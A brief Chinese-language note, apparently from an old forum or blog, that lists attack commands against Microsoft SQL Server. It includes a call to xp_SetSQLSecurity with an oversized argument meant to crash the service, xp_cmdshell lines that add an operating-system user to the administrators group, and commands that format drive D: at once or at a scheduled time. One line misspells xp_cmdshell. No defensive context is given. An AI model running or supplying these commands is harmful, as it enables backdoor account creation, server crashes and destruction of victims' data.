SQL安全漏洞

 

 1sql的安全： 
 2    
 3  导致sql停止服务：   
 4  exec   xp_SetSQLSecurity   'aa','bb','大于5K的字符','aa'   
 5    
 6  添加操作系统超级用户:   
 7  exec   xp_cmdshell   'net   user   mm   123   /add'   
 8  exec   xp_cmdshell   'net   localgroup   administrators   mm   /add'   
 9    
10  格式化:   
11  exec   xp_comshell   'echo   y|format   d:'   
12    
13  定时格式化：   
14  exec   xp_cmdshell   'at   12:30   echo   y|format   d:   /q'   
15    
16    :)   
17
18 
19